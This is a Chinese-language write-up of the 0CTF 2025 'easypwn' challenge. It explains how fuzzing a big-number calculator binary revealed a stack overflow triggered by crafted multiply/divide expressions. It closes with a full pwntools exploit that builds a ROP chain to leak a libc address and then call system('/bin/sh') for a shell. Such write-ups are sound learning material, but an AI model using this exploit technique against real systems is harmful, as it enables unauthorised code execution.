0CTF 2025 Writeup

赛时做了一题, 总觉得自己越来越没有心力和时间投入 CTF 了...

easypwn

checksec


为了提高可读性, 在 IDA 中修改了一些变量和函数名.

根据程序逻辑, 或者观察输入输出可以发现这是一个大数计算器, 支持 + - * / ( ) 和十进制数字的输入.

程序有一个操作是将栈指针放入堆中

且有对其的自增、自减操作:

很遗憾这里限制在了 DWORD, 所以并没有实际的栈溢出问题, 不过存在整数的上溢和下溢.

一开始我并没有找到可利用的漏洞点, 不过由于本题的输入非常结构化, 我们可以考虑对其 fuzzing.

大约 20 分钟后, 确实找到了一些可引起 crash 的输入:

使用 casr-cli, 得到了一些有趣的分析结果:

着重对 ReturnAv 的 case 进行分析. 先将这几组输入在 gdb 中复现一遍, 发现程序出现了返回地址非法引起的段错误

Vulnerabilities

调试发现, 这是由于在 main 中程序尝试将计算结果写回到栈中时, 对指针的自增操作缺乏边界检查, 导致了栈溢出:

Local variables

Exploit

接下来的工作就是如何找到哪个输入影响到了返回地址, 已知如下的输入可以产生溢出

1
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111/*/1/*//1111111111

观察到这里只有 */, 我们猜测程序进行了乘除相关的运算. 为了方便验证, 可以把上面的大数换成相近的以 2 为底的指数.

1
1119872371088902105278721140284222139060822748617324767449994550481895935590080472690438746635803557888/*/1/*//1073741824

很明显这里的地址部分位也变得 2^n 对齐了, 接下来尝试增大第一个大数的位数.

1
2582249878086908589655919172003011874329705792829223512830659356540647622016841194629645353280137831435903171972747493376/*/1/*//1073741824

注意到第一个大数增大后, 溢出修改到的位置也更高了, 并且直接由我们的输入决定. 所以, 我们只需要找到溢出是从哪一位开始的.

例如, 令第一个大数为这样的随机十六进制数: 0x1beacaaeaaeebaecfecdccddfdfebbfecabaeaccfeadafcbabfaccfeaeafaadbabcfeacdfbaaaacdfbaebfbcaadfccbaaebab

从而得到输入:

1
4505566911037959143315498166383803793144684411847119861693784392667451435154625739231718365669889945682659227170528488363/*/1/*//1073741824

这样就确认了溢出是从哪里开始的.

同时也观察到高位被写入到了返回地址的后面, 也就是我们得到了进行栈溢出执行 ROP 的方法.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context.terminal = ['konsole', '-e', 'sh', '-c']
context(arch = 'amd64',os = 'linux',log_level = 'debug')
p = process("./pwn")
DEBUG = 'p' in sys.argv
if DEBUG:
gdb.attach(p)
libc = ELF("./libc.so.6")
elf = ELF("./pwn")
print_plt=elf.plt['__printf_chk']
print_got=elf.got['__printf_chk']

plt = hex(print_plt)[2:].rjust(16,'0')
got = hex(print_got)[2:].rjust(16,'0')

pop_rdi_ret = "00000000004026b1"
pop_rsi_ret = "0000000000402818"
main_start = "00000000004012f0"
ret = "000000000040101a"

bin_sh = 0x00000000001cb42f

#main_start + ret + plt + got + pop rsi + 2 + pop rdi + ret + padding
padding = "afecbbafdbfbafeaaabcfcccedabdbbececbaecfcfcbeaaaeeedbbabafeecaabbcaffcbdeabaaaac"
string = "0x1" + main_start + ret + plt + got + pop_rsi_ret + "0000000000000002" + pop_rdi_ret + ret + padding
print(string)

payload = str(int(string,16)) + '/*/1/*//' + str(16**8)

print(payload)
p.sendline(payload)
p.recvline()

recv = p.recvuntil(b'>')
printf_off = u64(recv[:-1].ljust(8,b'\0'))
print(hex(printf_off))

libc_base = printf_off-libc.sym['__printf_chk']
print(hex(libc_base))


#system + bin_sh + pop_rdi + ret + padding
bin_sh = hex(bin_sh + libc_base)[2:].rjust(16,'0')
sys=hex(libc_base + libc.sym['system'])[2:].rjust(16,'0')

string = "0x1" + sys + bin_sh + pop_rdi_ret + ret + padding

payload = str(int(string,16)) + '/*/1/*//' + str(16**8)

print(payload)

p.sendline(payload)

p.interactive()